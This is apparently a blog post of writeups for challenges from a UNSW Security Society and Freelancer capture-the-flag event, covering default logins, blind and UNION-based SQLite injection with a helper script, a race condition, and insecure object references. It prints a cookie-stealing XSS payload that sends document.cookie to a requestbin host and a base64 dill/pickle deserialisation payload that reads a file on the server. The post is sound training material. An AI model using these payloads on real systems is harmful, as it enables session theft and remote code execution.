The Freelancer CTF hosted by UNSW Security Society and Freelancer is now over, and as such I’m open sourcing all the challenges so people can try them at home. There are also writeups here if you get stuck.
How do I run these challenges? Have docker installed.
docker build . in the corresponding folder.
docker run -p 9091:9091 fc5de400e330 or whatever docker has called them. Your challenges should be available at localhost:9091.
Below are the writeups. I assume you’re a morally righteous person who won’t cheat before you’ve even tried.
Scroll down for writeups
hint 1: i hear this is a new installation.
Just default username and password
admin:password and it gives you the username
jonsnow for simplesql2
Its a blind sql injection challenge. You notice that adding a single quote will give you the sql injection error. I could’ve done a binary search instead, but implementing that is more effort.
Automated solution: github
hint 1: terminator couldn’t find this. nor can skynet i mean google.
its the robots.txt. how exciting.
using a requestbin, something like
<img src=x onerror="new Image().src='http://requestb.in/whatever?cookie='+document.cookie;"/>
Insecure Object Request is what ior is. Click on a blog post and change the url to 0
This is a command injection challenge. If you hunt out the robots.txt you’ll find the source at
source.py. From the source or by inspection you can figure out that the cookie
f is used directly in the code. With some thinking and examination of the imports, you realise that
a = base64.b64decode and
b = dills.loads().
dill.loads() is just pickle but it can do functions. so install dill
pip install dill then:
>>> import dill, base64 >>> class x(object): ... def lower(self): ... import os ... return open('flag.txt').readlines() >>> base64.b64encode(dill.dumps(x())) 'gAJjZGlsbC5kaWxsCl9jcmVhdGVfdHlwZQpxAChjZGlsbC5kaWxsCl9sb2FkX3R5cGUKcQFVCFR5cGVUeXBlcQKFcQNScQRVAXhxBWgBVQpPYmplY3RUeXBlcQaFcQdScQiFcQl9cQooVQ1fX3Nsb3RuYW1lc19fcQtdcQxVCl9fbW9kdWxlX19xDVUIX19tYWluX19xDlUFbG93ZXJxD2NkaWxsLmRpbGwKX2NyZWF0ZV9mdW5jdGlvbgpxEChoAVUIQ29kZVR5cGVxEYVxElJxEyhLAUsCSwJLQ1UcZAEAZAAAbAAAfQEAdAEAZAIAgwEAagIAgwAAU3EUTkr/////VQhmbGFnLnR4dHEVh3EWVQJvc3EXVQRvcGVucRhVCXJlYWRsaW5lc3EZh3EaVQRzZWxmcRtoF4ZxHFUHPHN0ZGluPnEdaA9LAlUEAAEMAXEeKSl0cR9ScSBjX19idWlsdGluX18KX19tYWluX18KaA9OTn1xIXRxIlJxI1UHX19kb2NfX3EkTnV0cSVScSYpgXEnfXEoYi4='
Change your cookie.
document.cookie="f=that_long_base_64_string", post and you have your flag!
After the absolute disaster of last time’s pokestore (where my xss bot crashed and burned horribly). I’ve decided to remake it without the bot. Instead it’s a race condition challenge. Notice you get pieces of the flag when you buy certain pokeballs. There’s also an exchange shop for some reason. If you try exchanging currency with simultaenous requests you find there’s a race condition. Submit some at the same time using owasp ZAP or burp intruder and you’ll get double your money.
Screenshots coming I promise.
HTML comments show that
/create is a valid route. You can create posts for shits and giggles. All of this is HTML escaped on creation so you’re not getting XSS that way. There’s also a hidden field called
Part 1 is SQL injection. Click on some posts and notice the URL scheme is a bit funny. It turns out its
ascii of title-random uid-hash. If you try modifying the ASCII title, it’ll tell you
Md5 checksum incorrect. So you figure out that
hash is actually
md5(ascii of title-random uid.
Now you can start injecting.
1337 Haxor post has a hidden comment (css display:none, very secure). “hah this blogs security is no match for my awesome magic sql automator. what type of column name is ‘flag’??!?!?!??!?!!”. So that’s a hint of what the column name is.
A quick and easy script that implements the hashing to make exploitation easier
import os import hashlib import binascii def encode_post_id(post_id): return ''.join(hex(ord(a))[2:] for a in post_id) def h(payload): enc_post_id = encode_post_id(payload) + '-a' md5checksum = hashlib.md5(enc_post_id.encode('utf-8')).hexdigest()[0:6] return enc_post_id + '-' + md5checksum
Lets make our sql payload.
The trick being, this is a sqlite database, not SQL. So your pentest monkey queries might make you cry.
Our payload ends up being
' UNION SELECT name, name, name FROM sqlite_master where type='table
which forms the full query
SELECT post.title AS post_title, post.content AS post_content, post.hidden as post_hidden FROM post WHERE id = '' UNION SELECT name, name, name FROM sqlite_master where type='table'
and gives us our table name:
Given the information above, its trivial to extract the column
flag from that table using the same method.
This was the XSS part of the challenge where the URL was given. General idea: Craft a sql union query that has XSS in the post content/title. Then provide that URL to the bot to visit. This is left as an exercise to the reader.
FINALLY. Who knew writing a blog post with 6 writeups would take a long time.
See you guys next FCTF